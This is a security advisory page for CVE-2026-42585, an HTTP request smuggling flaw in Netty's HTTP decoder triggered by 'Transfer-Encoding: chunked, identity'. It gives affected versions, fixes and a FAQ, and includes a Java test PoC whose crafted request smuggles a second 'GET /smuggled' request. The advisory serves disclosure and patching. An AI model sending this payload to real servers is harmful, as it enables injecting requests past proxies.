CVE-2026-42585: Netty: HTTP Request Smuggling due to malformed Transfer-Encoding

Published May 7, 2026
·
Updated

### Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. ### Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length " If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. " A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty. ### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body. ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); } ``` ### Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Affected Software

4 affected componentsFixes available
maven/io.netty:netty-codec-http<=4.1.132.Final
4.1.133.Final
maven/io.netty:netty-codec-http>=4.2.0.Alpha1<=4.2.12.Final
4.2.13.Final
Netty Netty<4.1.133
Netty Netty>=4.2.0<4.2.13

Event History

May 7, 2026
Advisory Published
via GitHub·12:22 AM
Data Sourced
via GitHub·12:22 AM
DescriptionSeverityWeaknessAffected Software
May 13, 2026
CVE Published
via MITRE·06:12 PM
Data Sourced
via MITRE·06:12 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:17 PM
DescriptionSeverityWeaknessAffected Software
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Frequently Asked Questions

1

What is the severity of CVE-2026-42585?

CVE-2026-42585 is categorized as a severity vulnerability that can lead to request smuggling attacks.

2

How do I fix CVE-2026-42585?

To fix CVE-2026-42585, upgrade to Netty version 4.1.133.Final or 4.2.13.Final.

3

What software is affected by CVE-2026-42585?

CVE-2026-42585 affects the Netty codec HTTP package versions up to 4.1.132.Final and between 4.2.0.Alpha1 and 4.2.12.Final.

4

What type of attacks can CVE-2026-42585 lead to?

CVE-2026-42585 can enable attackers to perform request smuggling attacks due to incorrect parsing of malformed Transfer-Encoding.

5

What is the cause of the vulnerability CVE-2026-42585?

CVE-2026-42585 is caused by Netty incorrectly marking a request as chunked when malformed 'Transfer-Encoding: chunked, identity' is present.

Contact

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